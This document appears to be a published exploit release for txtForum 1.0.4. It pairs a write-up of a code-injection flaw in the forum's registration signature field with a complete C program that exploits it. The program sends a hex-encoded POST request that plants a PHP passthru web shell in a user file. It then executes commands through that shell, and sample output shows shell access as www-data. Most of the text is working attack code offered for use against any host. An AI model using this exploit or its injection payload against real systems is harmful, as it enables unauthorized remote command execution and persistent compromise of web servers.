/*
txtforum version 1.0.4 Remote Command Execution Exploit by N_A , N_A[at]tutanota.com
=======================================================================================
Discovered by N_A
===================
Description
============
txtForum is a small forum that uses flat files to store all the data for the forum.
Great if you don`t have an access to a database!
https://sourceforge.net/projects/txtforum1/
Details
========
There are currently 2 CVE's for this software but neither of them discuss this particular bug :)
http://www.cvedetails.com/vulnerability-list/vendor_id-4181/Txtforum.html - The CVE's here are for a remote file inclusion vulnerability resulting in
remote command execution and an XSS vulnerability.
How ever, a rather interesting and somewhat sinister bug still exists within the software that results in remote command execution.
Vulnerability
==============
The vulnerability exists within the new_user.php file. The variables below are recieved via POST:
$new_username = chop(strip_tags($_POST[reg_username]));
$new_password = crypt(chop(strip_tags($_POST[reg_password])));
$new_email = chop(strip_tags($_POST[reg_email]));
$new_location = chop(strip_tags($_POST[reg_location]));
$new_signature = chop(strip_tags($_POST[reg_signature]));
And are then saved as:
\$r_id='$newnumber';
\$r_username='$new_username';
\$r_pass='$new_password';
\$r_email='$new_email';
\$r_loc='$new_location';
\$r_sig='$new_signature';
Pay special attention to \$r_sig='$new_signature'; . I will come back to this shortly.
The software then creates a .php file with the users name ( eg foobar.php ) which stores the above discussed variables from the POST request inside the file mimicking a mini database.
$fp = fopen("users/$lower_user.php", "w+b")
Comming back to \$r_sig='$new_signature';
==========================================
The signature variable ( along with the other variables ) are not properly sanitized and it is possible to inject code into this/all these variables which will result in the stored users php file to contain php code that we provide and in this case a php shell :)
The code adds single quotes to the $new_signature variable thus rendering the variable into a string.
So if your signature is = "This is foobar", the resultant php code would be:
\$r_sig='This is foobar';
How ever....it is possible to *trick* the php and create new php variables and inject our own php code as follow :)
$r_sig='<--our input-->' - Our input goes in between two single quotes. With a crafted input string we can create two additional variables and our
php code in between. See below:
';echo passthru($_GET['cmd']); $a='
Will result in:
$r_sig='';echo passthru($_GET['cmd']); $a=''; - and now we have a php shell :)
All that is required now to execute code is to: http://host/txtforum/users/foobar.php?cmd=id;uname;who; since the software requires the foobar.php
as a database file for added users - we have just injected out own code to it.
Proof Of Concept Code
======================
Exploit is attached below. It adds a username called awxjimmy and the resultant file is awxjimmy.php
Below is a screen shot:
NA@kali:~/exploits$ ./txtforumex 127.0.0.1
[*]TCP socket(): Success
[*]Connection to host: Success
[*]Exploit packet sent
==========================
[*]200 OK: Looks good!
[*]Checking for Remote Command Execution..
[*]Success!!
HTTP/1.1 200 OK
Date: Sun, 13 Nov 2016 18:54:28 GMT
Server: Apache/2.4.18 (Debian)
Vary: Accept-Encoding
Content-Length: 140
Content-Type: text/html; charset=UTF-8
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux kali 4.3.0-kali1-686-pae #1 SMP Debian 4.3.3-5kali4 (2016-01-13) i686 GNU/Linux
Remote Shell Uploaded :)
Go here for uploaded PHP SHELL /txtforum/users/awxjimmy.php?cmd=[COMMAND]
Email
======
N_A[at]tutanota.com
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <errno.h>
#include <arpa/inet.h>
#include <string.h>
#include <netdb.h>
#include <unistd.h>
#define BUFFER 1024 //packet size
char packet[] = /* The POST Request Packet with the manipulated exploit string attached */
"\x50\x4f\x53\x54\x20\x2f\x74\x78\x74\x66\x6f\x72\x75\x6d\x2f\x70\x72\x6f\x66"
"\x69\x6c\x65\x2e\x70\x68\x70\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\x0d\x0a\x48"
"\x6f\x73\x74\x3a\x20\x31\x2e\x31\x2e\x31\x2e\x31\x0d\x0a\x55\x73\x65\x72\x2d"
"\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20"
"\x28\x58\x31\x31\x3b\x20\x4c\x69\x6e\x75\x78\x20\x69\x36\x38\x36\x3b\x20\x72"
"\x76\x3a\x34\x33\x2e\x30\x29\x20\x47\x65\x63\x6b\x6f\x2f\x32\x30\x31\x30\x30"
"\x31\x30\x31\x20\x46\x69\x72\x65\x66\x6f\x78\x2f\x34\x33\x2e\x30\x20\x49\x63"
"\x65\x77\x65\x61\x73\x65\x6c\x2f\x34\x33\x2e\x30\x2e\x34\x0d\x0a\x41\x63\x63"
"\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x61\x70\x70\x6c"
"\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x2c\x61"
"\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x6d\x6c\x3b\x71\x3d\x30\x2e"
"\x39\x2c\x2a\x2f\x2a\x3b\x71\x3d\x30\x2e\x38\x0d\x0a\x41\x63\x63\x65\x70\x74"
"\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x2d\x55\x53\x2c\x65\x6e"
"\x3b\x71\x3d\x30\x2e\x35\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f"
"\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c\x61\x74\x65"
"\x0d\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x31"
"\x2e\x31\x2e\x31\x2e\x31\x2f\x74\x78\x74\x66\x6f\x72\x75\x6d\x2f\x70\x72\x6f"
"\x66\x69\x6c\x65\x2e\x70\x68\x70\x3f\x6d\x6f\x64\x65\x3d\x72\x65\x67\x69\x73"
"\x74\x65\x72\x0d\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x4b\x65"
"\x65\x70\x2d\x41\x6c\x69\x76\x65\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54"
"\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d"
"\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65\x64"
"\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74\x68\x3a\x20\x32"
"\x34\x31\x0d\x0a\x0d\x0a\x6d\x6f\x64\x65\x3d\x72\x65\x67\x69\x73\x74\x65\x72"
"\x26\x72\x65\x67\x5f\x75\x73\x65\x72\x6e\x61\x6d\x65\x3d\x61\x77\x78\x6a\x69"
"\x6d\x6d\x79\x26\x72\x65\x67\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x3d\x31\x32"
"\x33\x34\x26\x72\x65\x67\x5f\x76\x65\x72\x69\x66\x79\x5f\x70\x61\x73\x73\x77"
"\x6f\x72\x64\x3d\x31\x32\x33\x34\x26\x72\x65\x67\x5f\x65\x6d\x61\x69\x6c\x3d"
"\x66\x6f\x6f\x25\x34\x30\x62\x61\x72\x2e\x63\x6f\x6d\x26\x72\x65\x67\x5f\x6c"
"\x6f\x63\x61\x74\x69\x6f\x6e\x3d\x66\x6f\x6f\x62\x61\x72\x26\x72\x65\x67\x5f"
"\x73\x69\x67\x6e\x61\x74\x75\x72\x65\x3d\x25\x32\x37\x25\x33\x42\x65\x63\x68"
"\x6f\x2b\x70\x61\x73\x73\x74\x68\x72\x75\x25\x32\x38\x25\x32\x34\x5f\x47\x45"
"\x54\x25\x35\x42\x25\x32\x37\x63\x6d\x64\x25\x32\x37\x25\x35\x44\x25\x32\x39"
"\x25\x33\x42\x2b\x25\x32\x34\x61\x25\x33\x44\x25\x32\x37\x26\x72\x65\x67\x5f"
"\x68\x69\x64\x64\x65\x6e\x3d\x6e\x65\x77\x5f\x75\x73\x65\x72\x26\x72\x65\x67"
"\x5f\x73\x75\x62\x6d\x69\x74\x3d\x52\x65\x67\x69\x73\x74\x65\x72\x25\x32\x31";
int main(int argc, char *argv[])
{
if(argc != 2)
{
printf("===========================================================\n");
printf("\ttxtforum Remote Command Execution Exploit\n");
printf("\tBy N_A, N_A[at]tutanota.com\n\n");
printf("\t%s [HOST]\n",argv[0]);
printf("===========================================================\n");
return EXIT_FAILURE;
}
char *hostname = argv[1]; /* www.site.com */
int sock = 0;
char buffer[BUFFER]; /* where the POST contents reside */
char recv_buffer[BUFFER]; /* replies from the server */
char *returned_string; /* returned response from server */
char *returned_string2; /* 2nd returned response from server */
char getr[BUFFER];
char *buf = "GET /txtforum/users/awxjimmy.php?cmd=id;uname%20-a HTTP/1.1\r\nHost: 1.1.1.1\r\n\r\n";
struct sockaddr_in server;
struct hostent *n;
/*create a TCP socket() */
if (( sock = socket(AF_INET,SOCK_STREAM, 0)) == -1 )
{
perror("socket()");
return EXIT_FAILURE;
}
printf("\n[*]TCP socket(): Success\n");
/*convert argv[1] into hostname*/
if ((n = gethostbyname(hostname)) == NULL)
{
perror("gethostbyname()");
return EXIT_FAILURE;
}
/* fill out the structure for server */
bcopy((char *)n->h_addr,(char *)&server.sin_addr.s_addr,n->h_length);
server.sin_family = AF_INET;
server.sin_port = htons(80);
/* make a connection */
if (connect(sock,(struct sockaddr *) &server, sizeof(server)) < 0)
{
perror("connect()");
return EXIT_FAILURE;
}
printf("[*]Connection to host: Success\n");
sleep(1);
/*copy packet into buffer*/
strcpy(buffer,packet);
/*send*/
if ( send(sock, buffer, strlen(buffer), 0) < 0)
{
perror("send()");
return EXIT_FAILURE;
}
printf("[*]Exploit packet sent\n");
printf("==========================\n");
sleep(1);
if(recv(sock,recv_buffer,1024,0) < 0)
{
perror("recv()");
return EXIT_FAILURE;
}
/* recieve 200 ok or not */
if (( returned_string=strstr(recv_buffer,"HTTP/1.1 200 OK")) == NULL)
{
printf("[x]Exploit failed\n");
return EXIT_FAILURE;
}
printf("[*]200 OK: Looks good!\n");
printf("[*]Checking for Remote Command Execution..\n\n");
sleep(1);
if ( send(sock, buf, strlen(buf), 0) < 0)
{
perror("send()");
return EXIT_FAILURE;
}
if(recv(sock,getr,1024,0) < 0)
{
perror("recv()");
return EXIT_FAILURE;
}
if (( returned_string2=strstr(getr,"HTTP/1.1 200 OK")) == NULL)
{
printf("[x]Exploit failed\n");
return EXIT_FAILURE;
}
printf("[*]Success!!\n");
printf("\n%s\n", getr);
printf("\nRemote Shell Uploaded :)\n");
printf("\nGo here for uploaded PHP SHELL /txtforum/users/awxjimmy.php?cmd=[COMMAND]\n");
return EXIT_SUCCESS;
}